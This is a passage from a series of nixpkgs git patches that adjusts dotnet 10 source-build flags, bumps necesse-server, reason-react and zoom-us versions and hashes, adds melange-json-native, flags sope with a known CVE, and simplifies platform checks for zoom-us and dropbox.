+  "officialBuildId": "20250708.3"
 }
diff --git a/pkgs/development/compilers/dotnet/stage0.nix b/pkgs/development/compilers/dotnet/stage0.nix
index 701475f82f09..efac815de716 100644
--- a/pkgs/development/compilers/dotnet/stage0.nix
+++ b/pkgs/development/compilers/dotnet/stage0.nix
@@ -82,6 +82,18 @@ let
             # that's the portable ilasm/ildasm which aren't in the centos sourcebuilt
             # artifacts.
             "-p:SkipErrorOnPrebuilts=true"
+          ]
+          ++ lib.optionals (lib.versionAtLeast old.version "10") [
+            # eng/finish-source-only.proj(134,5): error : 2 new packages used not in baseline! See report at artifacts/log/Release/baseline-comparison.xml for more information. Package IDs are:
+            # eng/finish-source-only.proj(134,5): error : runtime.placeholder-rid.Microsoft.NETCore.ILAsm.10.0.0-preview.6.25302.104
+            # eng/finish-source-only.proj(134,5): error : runtime.placeholder-rid.Microsoft.NETCore.ILDAsm.10.0.0-preview.6.25302.104
+            # eng/finish-source-only.proj(134,5): error : Prebuilt usages are different from the baseline. If detected changes are acceptable, update baseline with:
+            #
+            # ValidateUsageAgainstBaseline is called with ContinueOnError=true,
+            # which demotes the above errors to warnings, but as of SDK 10, all
+            # warnings are promoted back to errors by default.
+            "--warnAsError"
+            "false"
           ];
 
         # https://github.com/dotnet/source-build/issues/4920
diff --git a/pkgs/development/compilers/dotnet/vmr.nix b/pkgs/development/compilers/dotnet/vmr.nix
index 702e0fe43606..026890386221 100644
--- a/pkgs/development/compilers/dotnet/vmr.nix
+++ b/pkgs/development/compilers/dotnet/vmr.nix
@@ -348,12 +348,16 @@ stdenv.mkDerivation rec {
       ''
     );
 
-  prepFlags = [
-    "--no-artifacts"
-    "--no-prebuilts"
-    "--with-packages"
-    bootstrapSdk.artifacts
-  ];
+  prepFlags =
+    [
+      "--no-artifacts"
+      "--no-prebuilts"
+      "--with-packages"
+      bootstrapSdk.artifacts
+
+    ]
+    # https://github.com/dotnet/source-build/issues/5286#issuecomment-3097872768
+    ++ lib.optional (lib.versionAtLeast version "10") "-p:SkipArcadeSdkImport=true";
 
   configurePhase =
     let
@@ -368,6 +372,12 @@ stdenv.mkDerivation rec {
       chmod -R +w .dotnet
 
       export HOME=$(mktemp -d)
+    ''
+    + lib.optionalString (lib.versionAtLeast version "10") ''
+      dotnet nuget add source "${bootstrapSdk.artifacts}"
+      dotnet nuget add source "${bootstrapSdk.artifacts}/SourceBuildReferencePackages"
+    ''
+    + ''
       ${prepScript} $prepFlags
 
       runHook postConfigure
@@ -430,6 +440,12 @@ stdenv.mkDerivation rec {
   installPhase =
     let
       assets = if (lib.versionAtLeast version "9") then "assets" else targetArch;
+      # 10.0.0-preview.6 ends up creating duplicate files in .nupkgs, for example in
+      # Microsoft.Internal.Runtime.AspNetCore.Transport.10.0.0-preview.6.25358.103.nupkg
+      #
+      # lib/net10.0//System.Diagnostics.EventLog.pdb
+      # lib/net10.0/System.Diagnostics.EventLog.pdb
+      unzipFlags = "-q" + lib.optionalString (lib.versionAtLeast version "10") "o" + "d";
     in
     ''
       runHook preInstall
@@ -449,7 +465,7 @@ stdenv.mkDerivation rec {
       local -r unpacked="$PWD/.unpacked"
       for nupkg in $out/Private.SourceBuilt.Artifacts.*.${targetRid}/{,SourceBuildReferencePackages/}*.nupkg; do
           rm -rf "$unpacked"
-          unzip -qd "$unpacked" "$nupkg"
+          unzip ${unzipFlags} "$unpacked" "$nupkg"
           chmod -R +rw "$unpacked"
           rm "$nupkg"
           mv "$unpacked" "$nupkg"

From 678f83821d94c94e143ed128813647822589530e Mon Sep 17 00:00:00 2001
From: cr0n <cr0n@cypherpunks.cc>
Date: Tue, 22 Jul 2025 18:13:31 +0200
Subject: [PATCH 2768/4511] necesse-server: 0.33.0-19201409 -> 0.33.1-19314669

(cherry picked from commit 7e025579c80be33f984f93fad41fde9d040e577d)
---
 pkgs/by-name/ne/necesse-server/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ne/necesse-server/package.nix b/pkgs/by-name/ne/necesse-server/package.nix
index 737582298805..8bf13bf0495e 100644
--- a/pkgs/by-name/ne/necesse-server/package.nix
+++ b/pkgs/by-name/ne/necesse-server/package.nix
@@ -6,7 +6,7 @@
 }:
 
 let
-  version = "0.33.0-19201409";
+  version = "0.33.1-19314669";
   urlVersion = lib.replaceStrings [ "." ] [ "-" ] version;
 
 in
@@ -16,7 +16,7 @@ stdenvNoCC.mkDerivation {
 
   src = fetchzip {
     url = "https://necessegame.com/content/server/${urlVersion}/necesse-server-linux64-${urlVersion}.zip";
-    hash = "sha256-VpBWQ/Sl6uCRyR2WQYkZcIcSX89+AshHdRCqbKneqvM=";
+    hash = "sha256-K9FA4I8dooq1dC+Wnn24AACx49Jh/32sPp3f+IefYzM=";
   };
 
   # removing packaged jre since we use our own

From 2af1e747c1c6c39de9474c9b8eee082c7fbf0a3f Mon Sep 17 00:00:00 2001
From: Volker Diels-Grabsch <v@njh.eu>
Date: Tue, 22 Jul 2025 16:21:50 +0200
Subject: [PATCH 2769/4511] ocamlPackages.reason-react(-ppx): 0.15.0 -> 0.16.0

(cherry picked from commit 2fb4c9190e23e145c35455618fd3f5b733445ab1)
---
 pkgs/development/ocaml-modules/reason-react/default.nix | 9 ---------
 pkgs/development/ocaml-modules/reason-react/ppx.nix     | 4 ++--
 2 files changed, 2 insertions(+), 11 deletions(-)

diff --git a/pkgs/development/ocaml-modules/reason-react/default.nix b/pkgs/development/ocaml-modules/reason-react/default.nix
index d8defe1697bd..a447c3172d60 100644
--- a/pkgs/development/ocaml-modules/reason-react/default.nix
+++ b/pkgs/development/ocaml-modules/reason-react/default.nix
@@ -1,6 +1,5 @@
 {
   buildDunePackage,
-  fetchpatch,
   melange,
   reason,
   reason-react-ppx,
@@ -9,14 +8,6 @@
 buildDunePackage {
   pname = "reason-react";
   inherit (reason-react-ppx) version src;
-  patches = [
-    # Makes tests compatible with melange 5.0.0
-    (fetchpatch {
-      url = "https://github.com/reasonml/reason-react/commit/661e93553ae48af410895477c339be4f0a203437.patch";
-      includes = [ "test/*" ];
-      hash = "sha256-khxPxC/GpByjcEZDoQ1NdXoM/yQBAKmnUnt/d2k6WfQ=";
-    })
-  ];
   nativeBuildInputs = [
     reason
     melange
diff --git a/pkgs/development/ocaml-modules/reason-react/ppx.nix b/pkgs/development/ocaml-modules/reason-react/ppx.nix
index 16068a1e6358..5b41c7d95ed2 100644
--- a/pkgs/development/ocaml-modules/reason-react/ppx.nix
+++ b/pkgs/development/ocaml-modules/reason-react/ppx.nix
@@ -6,7 +6,7 @@
 }:
 
 let
-  version = "0.15.0";
+  version = "0.16.0";
 in
 buildDunePackage {
   pname = "reason-react-ppx";
@@ -14,7 +14,7 @@ buildDunePackage {
   minimalOCamlVersion = "4.14";
   src = fetchurl {
     url = "https://github.com/reasonml/reason-react/releases/download/${version}/reason-react-${version}.tbz";
-    hash = "sha256-+pPJo/b50vp4pAC/ygI1LHB5O0pDJ1xpcQZOdFP8Q80=";
+    hash = "sha256-esPB+mvHHTQ3mUYILrkOjMELJxRDIsWleFcxIwOPQ1w=";
   };
   buildInputs = [
     ppxlib

From 9ba80802710b71a736a06507b181feb90eb4f56f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Janne=20He=C3=9F?= <janne@hess.ooo>
Date: Tue, 22 Jul 2025 19:06:52 +0200
Subject: [PATCH 2770/4511] sope: Add CVE-2025-53603

(cherry picked from commit edde2e84ef85707179f862194cd232c247d33f8d)
---
 pkgs/by-name/so/sope/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/so/sope/package.nix b/pkgs/by-name/so/sope/package.nix
index e4d1d2a1a2b8..48dbc2e93057 100644
--- a/pkgs/by-name/so/sope/package.nix
+++ b/pkgs/by-name/so/sope/package.nix
@@ -76,5 +76,6 @@ clangStdenv.mkDerivation rec {
     homepage = "https://github.com/inverse-inc/sope";
     platforms = lib.platforms.linux;
     maintainers = with lib.maintainers; [ jceb ];
+    knownVulnerabilities = [ "CVE-2025-53603" ];
   };
 }

From e2d44ab48d4ef37ee42b1f343cbbe8d508dcf607 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 20 Jul 2025 12:28:36 +0200
Subject: [PATCH 2771/4511] zoom-us: avoid manual throw

Relying on `meta.platforms` to throw errors on unsupported platforms
(here: aarch64-linux) allows CI to filter out these attrpaths without
hitting an error on evaluation.

(cherry picked from commit 4d3f28abcefa9b09a4694d9d61f9c9ab5d7da822)
---
 pkgs/by-name/zo/zoom-us/package.nix | 23 ++++++++++-------------
 1 file changed, 10 insertions(+), 13 deletions(-)

diff --git a/pkgs/by-name/zo/zoom-us/package.nix b/pkgs/by-name/zo/zoom-us/package.nix
index ced4d0aab432..5e757660f970 100644
--- a/pkgs/by-name/zo/zoom-us/package.nix
+++ b/pkgs/by-name/zo/zoom-us/package.nix
@@ -55,7 +55,6 @@
 
 let
   inherit (stdenv.hostPlatform) system;
-  throwSystem = throw "Unsupported system: ${system}";
 
   # Zoom versions are released at different times for each platform
   # and often with different versions. We write them on three lines
@@ -83,9 +82,9 @@ let
 
   unpacked = stdenv.mkDerivation {
     pname = "zoom";
-    version = versions.${system} or throwSystem;
+    version = versions.${system} or "";
 
-    src = srcs.${system} or throwSystem;
+    src = srcs.${system};
 
     dontUnpack = stdenv.hostPlatform.isLinux;
     unpackPhase = lib.optionalString stdenv.hostPlatform.isDarwin ''
@@ -129,7 +128,7 @@ let
             mv $out/usr/* $out/
           '';
         }
-        .${system} or throwSystem
+        .${system}
       }
       runHook postInstall
     '';
@@ -158,8 +157,6 @@ let
       mainProgram = "zoom";
     };
   };
-  packages.aarch64-darwin = unpacked;
-  packages.x86_64-darwin = unpacked;
 
   # linux definitions
 
@@ -236,13 +233,17 @@ let
     ++ targetPkgs pkgs
     ++ targetPkgsFixed;
 
+in
+if !stdenv.hostPlatform.isLinux then
+  unpacked
+else
   # We add the `unpacked` zoom archive to the FHS env
   # and also bind-mount its `/opt` directory.
   # This should assist Zoom in finding all its
   # files in the places where it expects them to be.
-  packages.x86_64-linux = buildFHSEnv {
+  buildFHSEnv {
     pname = "zoom"; # Will also be the program's name!
-    version = versions.${system} or throwSystem;
+    version = versions.${system} or "";
 
     targetPkgs = pkgs: (linuxGetDependencies pkgs) ++ [ unpacked ];
     extraPreBwrapCmds = "unset QT_PLUGIN_PATH";
@@ -263,8 +264,4 @@ let
       inherit unpacked;
     };
     inherit (unpacked) meta;
-  };
-
-in
-
-packages.${system} or throwSystem
+  }

From eff6b9a635db905dd019cb87aecc07d49ae01dca Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 20 Jul 2025 13:41:21 +0200
Subject: [PATCH 2772/4511] dropbox: avoid manual assert

This package already sets `meta.platforms` accordingly, so will fail to
evaluate on other platforms anyway. Relying on `meta.platforms` has the
advantage that CI doesn't need to work around these eval failures in
hacky ways.

(cherry picked from commit 5a1f6683338cb489a8955078e3a65e55728a24b2)
---
 pkgs/applications/networking/dropbox/default.nix | 11 +----------
 1 file changed, 1 insertion(+), 10 deletions(-)

diff --git a/pkgs/applications/networking/dropbox/default.nix b/pkgs/applications/networking/dropbox/default.nix
index e912604623cb..6795540c603c 100644
--- a/pkgs/applications/networking/dropbox/default.nix
+++ b/pkgs/applications/networking/dropbox/default.nix
@@ -6,15 +6,6 @@
   makeDesktopItem,
 }:
 
-let
-  platforms = [
-    "i686-linux"
-    "x86_64-linux"
-  ];
-in
-
-assert lib.elem stdenv.hostPlatform.system platforms;
-
 # Dropbox client to bootstrap installation.
 # The client is self-updating, so the actual version may be newer.
 let
@@ -23,7 +14,7 @@ let
       x86_64-linux = "217.4.4417";
       i686-linux = "206.3.6386";
     }
-    .${stdenv.hostPlatform.system};
+    .${stdenv.hostPlatform.system} or "";
 
   arch =
     {

From 7ff9114e13bf38d0d22b429e2b79a36a913bc7c5 Mon Sep 17 00:00:00 2001
From: Volker Diels-Grabsch <v@njh.eu>
Date: Tue, 22 Jul 2025 19:59:12 +0200
Subject: [PATCH 2773/4511] Add melange-json-native 2.0.0 (#427482)

* ocamlPackages.melange-json-native: init at 2.0.0

* ocamlPackages.melange-json(-native): add vog to maintainers

* ocamlPackages.melange-json: Add comment about why we currently disable doCheck

* ocamlPackages.melange-json: Remove dependencies that are only needed by melange-json-native

(cherry picked from commit 117ca03ed26d8ad2f89f56eefddea5cfbbba98ee)
---
 .../ocaml-modules/melange-json/default.nix    | 12 +++++------
 .../ocaml-modules/melange-json/native.nix     | 20 +++++++++++++++++++
 pkgs/top-level/ocaml-packages.nix             |  1 +
 3 files changed, 27 insertions(+), 6 deletions(-)
 create mode 100644 pkgs/development/ocaml-modules/melange-json/native.nix

diff --git a/pkgs/development/ocaml-modules/melange-json/default.nix b/pkgs/development/ocaml-modules/melange-json/default.nix
index 69b2e7004ab5..aa4df6c9ca33 100644
--- a/pkgs/development/ocaml-modules/melange-json/default.nix
+++ b/pkgs/development/ocaml-modules/melange-json/default.nix
@@ -18,15 +18,15 @@ buildDunePackage rec {
   };
 
   nativeBuildInputs = [ melange ];
-  buildInputs = [
-    melange
-    yojson
-    ppxlib
-  ];
+  propagatedBuildInputs = [ melange ];
+  doCheck = false; # Fails due to missing "melange-jest", which in turn fails in command "npx jest"
   meta = {
     description = "Compositional JSON encode/decode library and PPX for Melange and OCaml";
     homepage = "https://github.com/melange-community/melange-json";
     license = lib.licenses.lgpl3;
-    maintainers = [ lib.maintainers.GirardR1006 ];
+    maintainers = [
+      lib.maintainers.GirardR1006
+      lib.maintainers.vog
+    ];
   };
 }
diff --git a/pkgs/development/ocaml-modules/melange-json/native.nix b/pkgs/development/ocaml-modules/melange-json/native.nix
new file mode 100644
index 000000000000..630f614e6edf
--- /dev/null
+++ b/pkgs/development/ocaml-modules/melange-json/native.nix
@@ -0,0 +1,20 @@
+{
+  buildDunePackage,
+  melange-json,
+  ppxlib,
+  yojson,
+}:
+
+buildDunePackage {
+  pname = "melange-json-native";
+  inherit (melange-json) version src;
+  minimalOCamlVersion = "4.12";
+  propagatedBuildInputs = [
+    ppxlib
+    yojson
+  ];
+  doCheck = false; # Fails due to missing "melange-jest", which in turn fails in command "npx jest"
+  meta = melange-json.meta // {
+    description = "Compositional JSON encode/decode PPX for OCaml";
+  };
+}
diff --git a/pkgs/top-level/ocaml-packages.nix b/pkgs/top-level/ocaml-packages.nix
index 53b740933afb..b4f07524185f 100644
--- a/pkgs/top-level/ocaml-packages.nix
+++ b/pkgs/top-level/ocaml-packages.nix
@@ -1219,6 +1219,7 @@ let
         melange = callPackage ../development/tools/ocaml/melange { };
 
         melange-json = callPackage ../development/ocaml-modules/melange-json { };
+        melange-json-native = callPackage ../development/ocaml-modules/melange-json/native.nix { };
 
         memprof-limits = callPackage ../development/ocaml-modules/memprof-limits { };
 

From 9e609af83a70ece401de1f4180409b1324cc3dba Mon Sep 17 00:00:00 2001
From: Philip Taron <philip.taron@gmail.com>
Date: Sat, 24 May 2025 08:48:52 -0700
Subject: [PATCH 2774/4511] zoom-us: 6.4.6.* -> 6.4.10.* (#410244)

(cherry picked from commit d9de8d96a1da105fe736d58ab03fc1dbff9586b1)
---
 pkgs/by-name/zo/zoom-us/package.nix | 17 ++++++++++-------
 1 file changed, 10 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/zo/zoom-us/package.nix b/pkgs/by-name/zo/zoom-us/package.nix
index 5e757660f970..18c0d580dde3 100644
--- a/pkgs/by-name/zo/zoom-us/package.nix
+++ b/pkgs/by-name/zo/zoom-us/package.nix
@@ -60,23 +60,23 @@ let
   # and often with different versions. We write them on three lines
   # like this (rather than using {}) so that the updater script can
   # find where to edit them.
-  versions.aarch64-darwin = "6.4.6.53970";
-  versions.x86_64-darwin = "6.4.6.53970";
-  versions.x86_64-linux = "6.4.6.1370";
+  versions.aarch64-darwin = "6.4.10.56141";
+  versions.x86_64-darwin = "6.4.10.56141";
+  versions.x86_64-linux = "6.4.10.2027";
 
   srcs = {
     aarch64-darwin = fetchurl {
       url = "https://zoom.us/client/${versions.aarch64-darwin}/zoomusInstallerFull.pkg?archType=arm64";
       name = "zoomusInstallerFull.pkg";
-      hash = "sha256-yNsiFZNte4432d8DUyDhPUOVbLul7gUdvr+3qK/Y+tk=";
+      hash = "sha256-LIQl+s/2WfYFIEG/ZsvpWlsWRhToB+5+ymAXCMhDqWE=";
     };
     x86_64-darwin = fetchurl {
       url = "https://zoom.us/client/${versions.x86_64-darwin}/zoomusInstallerFull.pkg";
-      hash = "sha256-Ut93qQFFN0d58wXD5r8u0B17HbihFg3FgY3a1L8nsIA=";
+      hash = "sha256-jP9ajDCo8iImS8YGFLjNMOLLh9g8uSqYIRl3aqhJAaM=";
     };
     x86_64-linux = fetchurl {
       url = "https://zoom.us/client/${versions.x86_64-linux}/zoom_x86_64.pkg.tar.xz";
-      hash = "sha256-Y+8garSqDcKLCVv1cTiqGEfrGKpK3UoXIq8X4E8CF+8=";
+      hash = "sha256-BwYO8IlQJjZwwn/qokZ+gAgcgmAjG34uExHCajchVqs=";
     };
   };
 
@@ -246,7 +246,10 @@ else
     version = versions.${system} or "";
 
     targetPkgs = pkgs: (linuxGetDependencies pkgs) ++ [ unpacked ];
-    extraPreBwrapCmds = "unset QT_PLUGIN_PATH";
+    extraPreBwrapCmds = ''
+      unset QT_PLUGIN_PATH
+      unset LANG  # would break settings dialog on non-"en_XX" locales
+    '';
     extraBwrapArgs = [ "--ro-bind ${unpacked}/opt /opt" ];
     runScript = "/opt/zoom/ZoomLauncher";
 

From 218081ff608760b636fe39eb7df52c0d860d5173 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 16 Jun 2025 00:27:50 +0000
Subject: [PATCH 2775/4511] zoom-us: 6.4.10.2027 -> 6.4.13.2309

(cherry picked from commit 654e5fcf5de5f0ff9e730b272a91d8553c224b97)
---
 pkgs/by-name/zo/zoom-us/package.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/zo/zoom-us/package.nix b/pkgs/by-name/zo/zoom-us/package.nix
index 18c0d580dde3..dbfed55c354e 100644
--- a/pkgs/by-name/zo/zoom-us/package.nix
+++ b/pkgs/by-name/zo/zoom-us/package.nix
@@ -60,23 +60,23 @@ let
   # and often with different versions. We write them on three lines
   # like this (rather than using {}) so that the updater script can
   # find where to edit them.
-  versions.aarch64-darwin = "6.4.10.56141";
-  versions.x86_64-darwin = "6.4.10.56141";
-  versions.x86_64-linux = "6.4.10.2027";
+  versions.aarch64-darwin = "6.4.12.56699";
+  versions.x86_64-darwin = "6.4.12.56699";
+  versions.x86_64-linux = "6.4.13.2309";
 
   srcs = {
     aarch64-darwin = fetchurl {
       url = "https://zoom.us/client/${versions.aarch64-darwin}/zoomusInstallerFull.pkg?archType=arm64";
       name = "zoomusInstallerFull.pkg";
-      hash = "sha256-LIQl+s/2WfYFIEG/ZsvpWlsWRhToB+5+ymAXCMhDqWE=";
+      hash = "sha256-rsO4HAvA6hCiGDBuLQj/qYWHR6Dlo+G9rkfhxvKBp4g=";
     };
     x86_64-darwin = fetchurl {
       url = "https://zoom.us/client/${versions.x86_64-darwin}/zoomusInstallerFull.pkg";
-      hash = "sha256-jP9ajDCo8iImS8YGFLjNMOLLh9g8uSqYIRl3aqhJAaM=";
+      hash = "sha256-MZ5dPHKH1uQuFA8Vej8Hh4CFZAjJFZe04le+e4LPDJc=";
     };
     x86_64-linux = fetchurl {
       url = "https://zoom.us/client/${versions.x86_64-linux}/zoom_x86_64.pkg.tar.xz";
-      hash = "sha256-BwYO8IlQJjZwwn/qokZ+gAgcgmAjG34uExHCajchVqs=";
+      hash = "sha256-gBUpsIUcsn+5u/1CchuS9mggnAFD8VW5J4RBv0Ziu+Y=";
     };
   };
 

From aa722e0a4d9213a4d02c0815e58dbae358a6625d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 25 Jun 2025 01:56:09 +0000
Subject: [PATCH 2776/4511] zoom-us: 6.4.13.2309 -> 6.5.1.2550

(cherry picked from commit 46e2dac3a50d2ee072a6174efc179d310d37d5ee)
---
 pkgs/by-name/zo/zoom-us/package.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/zo/zoom-us/package.nix b/pkgs/by-name/zo/zoom-us/package.nix
index dbfed55c354e..b74c816b33b3 100644
--- a/pkgs/by-name/zo/zoom-us/package.nix
+++ b/pkgs/by-name/zo/zoom-us/package.nix
@@ -60,23 +60,23 @@ let
   # and often with different versions. We write them on three lines
   # like this (rather than using {}) so that the updater script can
   # find where to edit them.
-  versions.aarch64-darwin = "6.4.12.56699";
-  versions.x86_64-darwin = "6.4.12.56699";
-  versions.x86_64-linux = "6.4.13.2309";
+  versions.aarch64-darwin = "6.5.1.58208";
+  versions.x86_64-darwin = "6.5.1.58208";
+  versions.x86_64-linux = "6.5.1.2550";
 
   srcs = {
     aarch64-darwin = fetchurl {
       url = "https://zoom.us/client/${versions.aarch64-darwin}/zoomusInstallerFull.pkg?archType=arm64";
       name = "zoomusInstallerFull.pkg";
-      hash = "sha256-rsO4HAvA6hCiGDBuLQj/qYWHR6Dlo+G9rkfhxvKBp4g=";
+      hash = "sha256-hIYZ2OU5lww4MyRZOhcV4qQDGEN8Hdolw6a4g/ItcFQ=";
     };
     x86_64-darwin = fetchurl {
       url = "https://zoom.us/client/${versions.x86_64-darwin}/zoomusInstallerFull.pkg";
-      hash = "sha256-MZ5dPHKH1uQuFA8Vej8Hh4CFZAjJFZe04le+e4LPDJc=";
+      hash = "sha256-t/xIrVfjAl6dM9RWa+imyFHqS2KIJsKnoU0fiDQL9dQ=";
     };
     x86_64-linux = fetchurl {
       url = "https://zoom.us/client/${versions.x86_64-linux}/zoom_x86_64.pkg.tar.xz";
-      hash = "sha256-gBUpsIUcsn+5u/1CchuS9mggnAFD8VW5J4RBv0Ziu+Y=";
+      hash = "sha256-1YcbAlnUEk9R95r7RIuxAxNfRymdIOAjKkCw7a+1Lm4=";
     };
   };
 

From c74638883aabd10cdd020ca8dad0435aaf967a8f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 4 Jul 2025 21:20:06 +0000
Subject: [PATCH 2777/4511] zoom-us: 6.5.1.2550 -> 6.5.3.2773

(cherry picked from commit 353f08e614715fab04323d422b92e4ab12246e1e)
---
 pkgs/by-name/zo/zoom-us/package.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/zo/zoom-us/package.nix b/pkgs/by-name/zo/zoom-us/package.nix
index b74c816b33b3..d51be8d2bf0a 100644
--- a/pkgs/by-name/zo/zoom-us/package.nix
+++ b/pkgs/by-name/zo/zoom-us/package.nix
@@ -60,23 +60,23 @@ let
   # and often with different versions. We write them on three lines
   # like this (rather than using {}) so that the updater script can
   # find where to edit them.
-  versions.aarch64-darwin = "6.5.1.58208";
-  versions.x86_64-darwin = "6.5.1.58208";
-  versions.x86_64-linux = "6.5.1.2550";
+  versions.aarch64-darwin = "6.5.3.58803";
+  versions.x86_64-darwin = "6.5.3.58803";
+  versions.x86_64-linux = "6.5.3.2773";
 
   srcs = {
     aarch64-darwin = fetchurl {
       url = "https://zoom.us/client/${versions.aarch64-darwin}/zoomusInstallerFull.pkg?archType=arm64";
       name = "zoomusInstallerFull.pkg";
-      hash = "sha256-hIYZ2OU5lww4MyRZOhcV4qQDGEN8Hdolw6a4g/ItcFQ=";
+      hash = "sha256-Cwr4xshh3PJ3Vi4tH60/qeAp9OsvqdGkoj8Fwe88K/0=";
     };
     x86_64-darwin = fetchurl {
       url = "https://zoom.us/client/${versions.x86_64-darwin}/zoomusInstallerFull.pkg";
-      hash = "sha256-t/xIrVfjAl6dM9RWa+imyFHqS2KIJsKnoU0fiDQL9dQ=";
+      hash = "sha256-45N/IhJpxZrxGVvqNWJC6ZiC6B3Srjd1Ucqxx+mc6eE=";
     };
     x86_64-linux = fetchurl {
       url = "https://zoom.us/client/${versions.x86_64-linux}/zoom_x86_64.pkg.tar.xz";
-      hash = "sha256-1YcbAlnUEk9R95r7RIuxAxNfRymdIOAjKkCw7a+1Lm4=";
+      hash = "sha256-laZg8uAo4KhgntYetAZGoGp0QPkK9EXPQh6kJ6VEkgE=";
     };
   };
 

From 5fbda4f2fc2e23b3d65d569f0499b1fb437dac47 Mon Sep 17 00:00:00 2001
From: Yarny0 <41838844+Yarny0@users.noreply.github.com>
Date: Tue, 15 Jul 2025 15:01:07 +0200
Subject: [PATCH 2778/4511] zoom-us: drop `extraPreBwrapCmds` (`QT_PLUGIN_PATH`
 & `LANG`)

References/History:

* `unset LANG` was introduced in
  69ec89cd7a7a264fd55c6f1e8321d14ade9171df
  https://github.com/NixOS/nixpkgs/pull/410244
  for version 6.4.10.*,
  to restore the visually broken settings dialog.
  It seems no longer necessary as of version 6.5.1, cf.
  https://github.com/NixOS/nixpkgs/pull/419757#pullrequestreview-2959221263

* `unset QT_PLUGIN_PATH` was introduced in
  b747aa0f9fd6363975e90a82210275a12bfbb696
  https://github.com/NixOS/nixpkgs/pull/116355
  for version 5.5.7938.0228,
  to fix the display of the "Participants" list.
  In recent versions, it ensured that the avatar icons
  of persons (conference and team chat "Participants")
  are displayed correctly.
  It seems no longer necessary as of version 6.5.3.*, cf.
  https://github.com/NixOS/nixpkgs/pull/422532#pullrequestreview-2989636069

(cherry picked from commit c3a86691ba8aebe32cedbfc72e3b738f2bf93a1f)
---
 pkgs/by-name/zo/zoom-us/package.nix | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/pkgs/by-name/zo/zoom-us/package.nix b/pkgs/by-name/zo/zoom-us/package.nix
index d51be8d2bf0a..76dbb55b8406 100644
--- a/pkgs/by-name/zo/zoom-us/package.nix
+++ b/pkgs/by-name/zo/zoom-us/package.nix
@@ -246,10 +246,6 @@ else
     version = versions.${system} or "";
 
     targetPkgs = pkgs: (linuxGetDependencies pkgs) ++ [ unpacked ];
-    extraPreBwrapCmds = ''
-      unset QT_PLUGIN_PATH
-      unset LANG  # would break settings dialog on non-"en_XX" locales
-    '';
     extraBwrapArgs = [ "--ro-bind ${unpacked}/opt /opt" ];
     runScript = "/opt/zoom/ZoomLauncher";
 

From 1b174ef64614aa1d258ef2962207f569ee29e2fe Mon Sep 17 00:00:00 2001
From: Yarny0 <41838844+Yarny0@users.noreply.github.com>
Date: Tue, 15 Jul 2025 15:01:12 +0200
Subject: [PATCH 2779/4511] zoom-us: maintainers := philiptaron & ryan2yin &
 yarny

(cherry picked from commit 1b1cb045a4e2f5f830488b5119707a83a2aa328b)
---
 pkgs/by-name/zo/zoom-us/package.nix | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/zo/zoom-us/package.nix b/pkgs/by-name/zo/zoom-us/package.nix
index 76dbb55b8406..740dec92b317 100644
--- a/pkgs/by-name/zo/zoom-us/package.nix
+++ b/pkgs/by-name/zo/zoom-us/package.nix
@@ -151,8 +151,9 @@ let
       license = lib.licenses.unfree;
       platforms = builtins.attrNames srcs;
       maintainers = with lib.maintainers; [
-        danbst
-        tadfisher
+        philiptaron
+        ryan4yin
+        yarny
       ];
       mainProgram = "zoom";
     };

From dd3293a6db25663ce3e7bd908db534fa4e76058c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 22 Jul 2025 17:36:56 +0000
Subject: [PATCH 2780/4511] zoom-us: 6.5.3.2773 -> 6.5.7.3298

(cherry picked from commit 22ac4204025b0db6388862e8683818bf98dd2af6)
---
 pkgs/by-name/zo/zoom-us/package.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/zo/zoom-us/package.nix b/pkgs/by-name/zo/zoom-us/package.nix
index 740dec92b317..a3b6df3faa43 100644
--- a/pkgs/by-name/zo/zoom-us/package.nix
+++ b/pkgs/by-name/zo/zoom-us/package.nix
@@ -60,23 +60,23 @@ let
   # and often with different versions. We write them on three lines
   # like this (rather than using {}) so that the updater script can
   # find where to edit them.
-  versions.aarch64-darwin = "6.5.3.58803";
-  versions.x86_64-darwin = "6.5.3.58803";
-  versions.x86_64-linux = "6.5.3.2773";
+  versions.aarch64-darwin = "6.5.7.60598";
+  versions.x86_64-darwin = "6.5.7.60598";
+  versions.x86_64-linux = "6.5.7.3298";
 
   srcs = {
     aarch64-darwin = fetchurl {
       url = "https://zoom.us/client/${versions.aarch64-darwin}/zoomusInstallerFull.pkg?archType=arm64";
       name = "zoomusInstallerFull.pkg";
-      hash = "sha256-Cwr4xshh3PJ3Vi4tH60/qeAp9OsvqdGkoj8Fwe88K/0=";
+      hash = "sha256-o7ZxDYQS0J9Tl8kECSms1XQ6CVgxt453lDuFyZSZBv4=";
     };
     x86_64-darwin = fetchurl {
       url = "https://zoom.us/client/${versions.x86_64-darwin}/zoomusInstallerFull.pkg";
-      hash = "sha256-45N/IhJpxZrxGVvqNWJC6ZiC6B3Srjd1Ucqxx+mc6eE=";
+      hash = "sha256-y5/8xNtQTAbsXwbajFfzx0iNPEMQ0S+DAw2eS2mf5SQ=";
     };
     x86_64-linux = fetchurl {
       url = "https://zoom.us/client/${versions.x86_64-linux}/zoom_x86_64.pkg.tar.xz";
-      hash = "sha256-laZg8uAo4KhgntYetAZGoGp0QPkK9EXPQh6kJ6VEkgE=";
+      hash = "sha256-6gzgJmB+/cwcEToQpniVVZyQZcqzblQG/num0X+xUIE=";
     };
   };
 

